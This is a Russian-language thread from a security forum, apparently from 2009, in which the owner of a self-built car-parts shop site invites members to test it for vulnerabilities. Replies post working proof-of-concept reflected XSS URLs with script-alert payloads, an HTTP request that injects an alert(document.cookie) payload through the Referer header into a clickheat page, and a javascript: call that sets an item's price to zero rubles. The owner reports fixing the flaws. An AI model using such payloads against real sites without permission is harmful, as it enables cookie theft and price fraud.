ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Проверка на уязвимости
Перезагрузить страницу Самопал.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Самопал.
  #1  
Старый 27.08.2009, 03:53
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию Самопал.
День добрый.

Парни/девчонки прощу вас проверить мой сайт на наличие уязвимостей.
http://skoda-tech.ru
кнопку "оформить заказ" просьба не трогать. не доделал еще.

благодарю за помощь.
 
Ответить с цитированием

  #2  
Старый 27.08.2009, 13:09
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию
хорошо, парни.я все понял. всем спасибо...доделаю до полной готовности и прийду еще.
 
Ответить с цитированием

  #3  
Старый 28.08.2009, 13:17
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
В поиске вбил C
Потом в адресной строке
Цитата:
javascript:add_spare_in_bag("MFA615143","%D0%9C%D0 %BE%D0%B4%D0%B5%D0%BB%D1%8C%201:43%20OCtavia%20cup %202005","1","0.руб")
Кароч можно кажись дешёево взять.
 
Ответить с цитированием

  #4  
Старый 28.08.2009, 13:42
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию
Цитата:
Сообщение от Ctacok  
В поиске вбил C
Потом в адресной строке

Кароч можно кажись дешёево взять.
да технически такая возможность присуствовала, спасибо, но на втором конце сисдит манагер=).
 
Ответить с цитированием

  #5  
Старый 28.08.2009, 16:37
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию
http://skoda-tech.ru/s_%22%3E%3Cscript%3Ealert(/aaa/)%3C/script%3E
Алерта нет,но диз разъежаца
 
Ответить с цитированием

  #6  
Старый 28.08.2009, 16:40
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию
Цитата:
Сообщение от m0Hze  
http://skoda-tech.ru/s_%22%3E%3Cscript%3Ealert(/aaa/)%3C/script%3E
Алерта нет,но диз разъежаца
нет не алерт, относительные пути картинок были, поправил
 
Ответить с цитированием

  #7  
Старый 01.10.2009, 00:15
DFrost
Познающий
Регистрация: 05.06.2009
Сообщений: 41
Провел на форуме:
258796

Репутация: 72
По умолчанию
Цитата:
http://skoda-tech.ru/s_%3C/title%3E%3Cscript%3Ealert(/ALERT/)%3C/script%3E
алерт есть
 
Ответить с цитированием

  #8  
Старый 09.10.2009, 15:11
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию
Цитата:
Сообщение от DFrost  
алерт есть
пофиксил...спасибо тебе, "+"
 
Ответить с цитированием

  #9  
Старый 11.10.2009, 05:33
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию
Не такой уж и самопал)
>> http://skoda-tech.ru/clicks/ - clickheat

>> XSS
Запрос:
Код:
GET http://skoda-tech.ru/clicks/click.php?s=skoda-tech.ru&g=/s_%D0%A1%D1%82%D0%B5%D0%BA%D0%BB%D0%BE&x=76&y=481&w=1265&b=firefox&c=1&random=Sun%20Oct%2011%202009%2005:06:45%20GMT+0400%20(MSD) HTTP/1.1
Host: skoda-tech.ru
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: language=en; PHPSESSID=som5sjb7epoqjohki3jpfiakc2
Referer: http://<HTML><BODY ONLOAD=alert(document.cookie)>/
Ответ:
Код:
Forbidden domain (<html><BODY ONLOAD=alert(document.cookie)>), change or remove security settings in the config panel to allow this one
 
Ответить с цитированием

  #10  
Старый 11.10.2009, 23:54
RedBull@12
Участник форума
Регистрация: 06.11.2006
Сообщений: 129
Провел на форуме:
482261

Репутация: 58
По умолчанию
Цитата:
Сообщение от (Dm)  
Не такой уж и самопал)
>> http://skoda-tech.ru/clicks/ - clickheat

>> XSS
Запрос:
Код:
GET http://skoda-tech.ru/clicks/click.php?s=skoda-tech.ru&g=/s_%D0%A1%D1%82%D0%B5%D0%BA%D0%BB%D0%BE&x=76&y=481&w=1265&b=firefox&c=1&random=Sun%20Oct%2011%202009%2005:06:45%20GMT+0400%20(MSD) HTTP/1.1
Host: skoda-tech.ru
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: language=en; PHPSESSID=som5sjb7epoqjohki3jpfiakc2
Referer: http://<HTML><BODY ONLOAD=alert(document.cookie)>/
Ответ:
Код:
Forbidden domain (<html><BODY ONLOAD=alert(document.cookie)>), change or remove security settings in the config panel to allow this one
подозревал что что-то подобное в этой статистике будет...ридется отключить...один хер толку мало...
движок весь самопальный...кроме этого сервиса статистики...но если кто-то будет его ставить лучше не надо...толку мало...сегодня проапдейчу...и велком...для дальнейших изувечий=)
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ